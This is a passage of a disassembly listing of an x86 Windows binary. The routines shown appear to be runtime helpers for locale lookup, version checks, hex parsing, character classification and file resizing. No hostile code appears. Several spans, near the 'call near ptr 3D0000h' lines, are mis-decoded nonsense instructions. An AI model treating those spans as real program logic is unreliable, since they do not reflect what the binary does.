sub_432030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432360	proc near		; CODE XREF: seg000:loc_431DC6p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EECD0
		push	eax
		call	sub_41AC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	ds:dword_4EECCC, ecx
		cmp	ds:dword_4EECCC, 0
		jz	short loc_432392
		mov	[ebp+var_4], 2
		jmp	short loc_4323A4
; ---------------------------------------------------------------------------


loc_432392:				; CODE XREF: sub_432360+27j
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_432A10
		add	esp, 4
		mov	[ebp+var_4], eax


loc_4323A4:				; CODE XREF: sub_432360+30j
		mov	eax, [ebp+var_4]
		mov	ds:dword_4EECC8, eax
		push	1
		push	offset sub_4323E0
		call	near ptr 3D0000h
		call	near ptr 0ED1B3148h
		dec	esi
		add	[ebx-367AFB1Fh], al
		jnz	short loc_4323D0
		mov	ds:dword_4EECD8, 0


loc_4323D0:				; CODE XREF: sub_432360+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_432360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4323E0	proc near		; DATA XREF: sub_432360+4Eo

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432990
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECCC
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF002h
		add	edx, 1001h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_432434
		mov	ds:dword_4EECD8, 0
		mov	eax, 1
		jmp	loc_4324F9
; ---------------------------------------------------------------------------


loc_432434:				; CODE XREF: sub_4323E0+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	short loc_432489
		cmp	ds:dword_4EECCC, 0
		jnz	short loc_432466
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_432720
		add	esp, 8
		test	eax, eax
		jz	short loc_432487


loc_432466:				; CODE XREF: sub_4323E0+72j
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECDC, ecx
		mov	edx, ds:dword_4EECDC
		mov	ds:dword_4EECC0, edx
		mov	eax, ds:dword_4EECD8
		or	al, 4
		mov	ds:dword_4EECD8, eax


loc_432487:				; CODE XREF: sub_4323E0+84j
		jmp	short loc_4324EC
; ---------------------------------------------------------------------------


loc_432489:				; CODE XREF: sub_4323E0+69j
		cmp	ds:dword_4EECCC, 0
		jnz	short loc_4324EC
		cmp	ds:dword_4EECC8, 0
		jz	short loc_4324EC
		mov	ecx, ds:dword_4EECC8
		push	ecx
		lea	edx, [ebp+var_78]
		push	edx
		mov	eax, ds:dword_4EECD0
		push	eax
		call	sub_435E10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4324EC
		push	0
		mov	ecx, [ebp+var_7C]
		push	ecx
		call	sub_432720
		add	esp, 8
		test	eax, eax
		jz	short loc_4324EC
		mov	edx, [ebp+var_7C]
		mov	ds:dword_4EECDC, edx
		mov	eax, ds:dword_4EECDC
		mov	ds:dword_4EECC0, eax
		mov	ecx, ds:dword_4EECD8
		or	ecx, 4
		mov	ds:dword_4EECD8, ecx


loc_4324EC:				; CODE XREF: sub_4323E0:loc_432487j
					; sub_4323E0+B0j ...
		mov	eax, ds:dword_4EECD8
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4324F9:				; CODE XREF: sub_4323E0+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4323E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432500	proc near		; CODE XREF: seg000:00431DE2p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4EECD4
		push	eax
		call	sub_41AC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	ds:dword_4EECC4, ecx
		push	1
		push	offset sub_432550
		call	near ptr 3D0000h
		movsd
		mov	edx, ds:dword_4EECD8
		and	edx, 4
		test	edx, edx
		jnz	short loc_432543
		mov	ds:dword_4EECD8, 0


loc_432543:				; CODE XREF: sub_432500+37j
		pop	ebp
		retn
sub_432500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432550	proc near		; DATA XREF: sub_432500+21o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432990
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECC4
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_4325A1
		mov	ds:dword_4EECD8, 0
		mov	eax, 1
		jmp	short loc_4325F6
; ---------------------------------------------------------------------------


loc_4325A1:				; CODE XREF: sub_432550+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECD4
		push	edx
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	short loc_4325E9
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4326D0
		add	esp, 4
		test	eax, eax
		jz	short loc_4325E9
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECDC, ecx
		mov	edx, ds:dword_4EECDC
		mov	ds:dword_4EECC0, edx
		mov	eax, ds:dword_4EECD8
		or	al, 4
		mov	ds:dword_4EECD8, eax


loc_4325E9:				; CODE XREF: sub_432550+66j
					; sub_432550+76j
		mov	eax, ds:dword_4EECD8
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4325F6:				; CODE XREF: sub_432550+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_432550	endp

; ---------------------------------------------------------------------------
		align 10h


loc_432600:				; CODE XREF: seg000:00431D18p
					; seg000:loc_431DE9p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4EECD8
		or	eax, 104h
		mov	ds:dword_4EECD8, eax
		call	near ptr 3D0000h
		imul	esp, ds:dword_4EECDC[ebx], 0ECDC0D8Bh
		dec	esi
		add	[ecx+4EECC00Dh], cl
		add	[ebp-3Dh], bl
; ---------------------------------------------------------------------------
		db 5 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432630	proc near		; CODE XREF: seg000:00431E08p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jz	short loc_43265B
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_43265B
		push	offset off_43AD54
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jnz	short loc_432683


loc_43265B:				; CODE XREF: sub_432630+Aj
					; sub_432630+14j
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	1004h
		mov	ecx, ds:dword_4EECDC
		push	ecx
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_43267B
		xor	eax, eax
		jmp	short loc_4326C7
; ---------------------------------------------------------------------------


loc_43267B:				; CODE XREF: sub_432630+45j
		lea	edx, [ebp+var_8]
		mov	[ebp+arg_0], edx
		jmp	short loc_4326BB
; ---------------------------------------------------------------------------


loc_432683:				; CODE XREF: sub_432630+29j
		push	offset off_43AD50
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jnz	short loc_4326BB
		push	8
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Bh
		mov	edx, ds:dword_4EECDC
		push	edx
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_4326B5
		xor	eax, eax
		jmp	short loc_4326C7
; ---------------------------------------------------------------------------


loc_4326B5:				; CODE XREF: sub_432630+7Fj
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_0], eax


loc_4326BB:				; CODE XREF: sub_432630+51j
					; sub_432630+66j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41D460
		add	esp, 4


loc_4326C7:				; CODE XREF: sub_432630+49j
					; sub_432630+83j
		mov	esp, ebp
		pop	ebp
		retn
sub_432630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4326D0	proc near		; CODE XREF: sub_432030+16Ep
					; sub_432550+6Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	ax, [ebp+arg_0]
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_8], 0
		jmp	short loc_4326F0
; ---------------------------------------------------------------------------


loc_4326E7:				; CODE XREF: sub_4326D0:loc_432714j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4326F0:				; CODE XREF: sub_4326D0+15j
		cmp	[ebp+var_8], 0Ah
		jnb	short loc_432716
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, ds:word_450C84[eax*2]
		cmp	edx, ecx
		jnz	short loc_432714
		xor	eax, eax
		jmp	short loc_43271B
; ---------------------------------------------------------------------------


loc_432714:				; CODE XREF: sub_4326D0+3Ej
		jmp	short loc_4326E7
; ---------------------------------------------------------------------------


loc_432716:				; CODE XREF: sub_4326D0+24j
		mov	eax, 1


loc_43271B:				; CODE XREF: sub_4326D0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_4326D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432720	proc near		; CODE XREF: sub_432030+260p
					; sub_432030+2E6p ...

var_7C		= byte ptr -7Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 3FFh
		and	eax, 0FFFFh
		or	ah, 4
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		push	78h
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_43275E
		xor	eax, eax
		jmp	short loc_4327A2
; ---------------------------------------------------------------------------


loc_43275E:				; CODE XREF: sub_432720+38j
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_432990
		add	esp, 4
		cmp	[ebp+arg_0], eax
		jz	short loc_43279D
		cmp	[ebp+arg_4], 0
		jz	short loc_43279D
		mov	ecx, ds:dword_4EECD0
		push	ecx
		call	sub_432A10
		add	esp, 4
		mov	esi, eax
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_41AC70
		add	esp, 4
		cmp	esi, eax
		jnz	short loc_43279D
		xor	eax, eax
		jmp	short loc_4327A2
; ---------------------------------------------------------------------------


loc_43279D:				; CODE XREF: sub_432720+4Dj
					; sub_432720+53j ...
		mov	eax, 1


loc_4327A2:				; CODE XREF: sub_432720+3Cj
					; sub_432720+7Bj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_432720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4327B0	proc near		; CODE XREF: seg000:00431CEFp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	ds:dword_4F1358	; GetVersionExA
		test	eax, eax
		jz	short loc_4327E9
		cmp	[ebp+var_84], 2
		jnz	short loc_4327E9
		mov	[ebp+var_98], 1
		jmp	short loc_4327F3
; ---------------------------------------------------------------------------


loc_4327E9:				; CODE XREF: sub_4327B0+22j
					; sub_4327B0+2Bj
		mov	[ebp+var_98], 0


loc_4327F3:				; CODE XREF: sub_4327B0+37j
		mov	eax, [ebp+var_98]
		mov	esp, ebp
		pop	ebp
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432800	proc near		; DATA XREF: seg000:loc_431D02o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_8], 0


loc_43281B:				; CODE XREF: sub_432800:loc_432963j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_4]
		jg	loc_432968
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		mov	edx, [ebp+arg_0]
		cmp	edx, ds:dword_4507E0[ecx]
		jnz	loc_43293E
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0Bh
		ja	short loc_432877
		cmp	[ebp+var_14], 0Bh
		jz	loc_4328E9
		cmp	[ebp+var_14], 1
		jz	short loc_432894
		cmp	[ebp+var_14], 3
		jz	short loc_4328B6
		cmp	[ebp+var_14], 7
		jz	short loc_4328D8
		jmp	loc_432908
; ---------------------------------------------------------------------------


loc_432877:				; CODE XREF: sub_432800+54j
		cmp	[ebp+var_14], 1001h
		jz	short loc_4328A5
		cmp	[ebp+var_14], 1002h
		jz	short loc_4328C7
		cmp	[ebp+var_14], 1004h
		jz	short loc_4328FA
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_432894:				; CODE XREF: sub_432800+64j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset a040a ; "040a"
		mov	[ebp+var_8], ecx
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_4328A5:				; CODE XREF: sub_432800+7Ej
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, ds:off_4507EC[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_4328B6:				; CODE XREF: sub_432800+6Aj
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_4507F0
		mov	[ebp+var_8], ecx
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_4328C7:				; CODE XREF: sub_432800+87j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, ds:off_4507F4[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_4328D8:				; CODE XREF: sub_432800+70j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_4507F8
		mov	[ebp+var_8], ecx
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_4328E9:				; CODE XREF: sub_432800+5Aj
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		add	edx, offset dword_4507FC
		mov	[ebp+var_8], edx
		jmp	short loc_432908
; ---------------------------------------------------------------------------


loc_4328FA:				; CODE XREF: sub_432800+90j
		mov	eax, [ebp+var_C]
		imul	eax, 2Ch
		add	eax, offset a1252 ; "1252"
		mov	[ebp+var_8], eax


loc_432908:				; CODE XREF: sub_432800+72j
					; sub_432800+92j ...
		cmp	[ebp+var_8], 0
		jz	short loc_432914
		cmp	[ebp+arg_C], 1
		jge	short loc_432916


loc_432914:				; CODE XREF: sub_432800+10Cj
		jmp	short loc_432968
; ---------------------------------------------------------------------------


loc_432916:				; CODE XREF: sub_432800+112j
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_41D800
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	byte ptr [ecx-1], 0
		mov	eax, 1
		jmp	short loc_43297E
; ---------------------------------------------------------------------------


loc_43293E:				; CODE XREF: sub_432800+44j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4507E0[edx]
		jnb	short loc_43295A
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_432963
; ---------------------------------------------------------------------------


loc_43295A:				; CODE XREF: sub_432800+14Dj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_432963:				; CODE XREF: sub_432800+158j
		jmp	loc_43281B
; ---------------------------------------------------------------------------


loc_432968:				; CODE XREF: sub_432800+21j
					; sub_432800:loc_432914j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F1354	; GetLocaleInfoA


loc_43297E:				; CODE XREF: sub_432800+13Cj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_432800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432990	proc near		; CODE XREF: sub_432030+Ap
					; sub_4323E0+Ap ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0


loc_43299D:				; CODE XREF: sub_432990+6Dj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		movsx	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jz	short loc_4329FF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 61h
		jl	short loc_4329D2
		movsx	edx, [ebp+var_8]
		cmp	edx, 66h
		jg	short loc_4329D2
		mov	al, [ebp+var_8]
		add	al, 0D9h
		mov	[ebp+var_8], al
		jmp	short loc_4329EC
; ---------------------------------------------------------------------------


loc_4329D2:				; CODE XREF: sub_432990+2Dj
					; sub_432990+36j
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 41h
		jl	short loc_4329EC
		movsx	edx, [ebp+var_8]
		cmp	edx, 46h
		jg	short loc_4329EC
		mov	al, [ebp+var_8]
		add	al, 0F9h
		mov	[ebp+var_8], al


loc_4329EC:				; CODE XREF: sub_432990+40j
					; sub_432990+49j ...
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		movsx	edx, [ebp+var_8]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_4], eax
		jmp	short loc_43299D
; ---------------------------------------------------------------------------


loc_4329FF:				; CODE XREF: sub_432990+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_432990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A10	proc near		; CODE XREF: sub_431F70+60p
					; sub_432360+39p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_432A2E:				; CODE XREF: sub_432A10+5Cj
		movsx	eax, [ebp+var_4]
		cmp	eax, 41h
		jl	short loc_432A40
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 5Ah
		jle	short loc_432A52


loc_432A40:				; CODE XREF: sub_432A10+25j
		movsx	edx, [ebp+var_4]
		cmp	edx, 61h
		jl	short loc_432A6E
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_432A6E


loc_432A52:				; CODE XREF: sub_432A10+2Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_432A2E
; ---------------------------------------------------------------------------


loc_432A6E:				; CODE XREF: sub_432A10+37j
					; sub_432A10+40j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_432A10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432B80	proc near		; CODE XREF: sub_42C0C0+4Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
sub_432B80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	8
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EEE24, 3A4h
		jnz	short loc_432BED
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_432C00
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_432BED
		mov	dword ptr [ebp-4], 1
		jmp	short loc_432BF4
; ---------------------------------------------------------------------------


loc_432BED:				; CODE XREF: seg000:00432BCEj
					; seg000:00432BE2j
		mov	dword ptr [ebp-4], 0


loc_432BF4:				; CODE XREF: seg000:00432BEBj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432C00	proc near		; CODE XREF: seg000:00432A8Bp
					; seg000:00432AABp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, ds:byte_4EEF41[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_432C54
		cmp	[ebp+arg_4], 0
		jz	short loc_432C3E
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, ds:word_44FE36[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_432C45
; ---------------------------------------------------------------------------


loc_432C3E:				; CODE XREF: sub_432C00+27j
		mov	[ebp+var_4], 0


loc_432C45:				; CODE XREF: sub_432C00+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_432C54
		mov	[ebp+var_8], 0
		jmp	short loc_432C5B
; ---------------------------------------------------------------------------


loc_432C54:				; CODE XREF: sub_432C00+21j
					; sub_432C00+49j
		mov	[ebp+var_8], 1


loc_432C5B:				; CODE XREF: sub_432C00+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_432C00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_432CA1
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_432CB1


loc_432CA1:				; CODE XREF: seg000:00432C7Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_432CDF
; ---------------------------------------------------------------------------


loc_432CB1:				; CODE XREF: seg000:00432C9Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_432CF0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp-4]


loc_432CDF:				; CODE XREF: seg000:00432CAFj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432CF0	proc near		; CODE XREF: sub_42E310+44Cp
					; seg000:00432CC5p

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1004]
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101C],	0


loc_432D16:				; CODE XREF: sub_432CF0+51j
		cmp	[ebp+arg_4], 0
		jge	short loc_432D3D
		push	offset dword_43AD64
		push	0
		push	81h
		push	offset dword_43AD58
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_432D3D
		int	3		; Trap to Debugger


loc_432D3D:				; CODE XREF: sub_432CF0+2Aj
					; sub_432CF0+4Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_432D16
		push	1
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B770
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		cmp	[ebp+var_100C],	0FFFFFFFFh
		jz	short loc_432D81
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B770
		add	esp, 0Ch
		mov	[ebp+var_1010],	eax
		cmp	[ebp+var_1010],	0FFFFFFFFh
		jnz	short loc_432D89


loc_432D81:				; CODE XREF: sub_432CF0+70j
		or	eax, 0FFFFFFFFh
		jmp	loc_432F19
; ---------------------------------------------------------------------------


loc_432D89:				; CODE XREF: sub_432CF0+8Fj
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+var_1010]
		mov	[ebp+var_1018],	ecx
		cmp	[ebp+var_1018],	0
		jle	loc_432EA0
		push	1000h
		push	0
		mov	edx, [ebp+var_1014]
		push	edx
		call	sub_41D100
		add	esp, 0Ch
		push	8000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435FA0
		add	esp, 8
		mov	[ebp+var_4], eax


loc_432DCF:				; CODE XREF: sub_432CF0+198j
		cmp	[ebp+var_1018],	1000h
		jl	short loc_432DE7
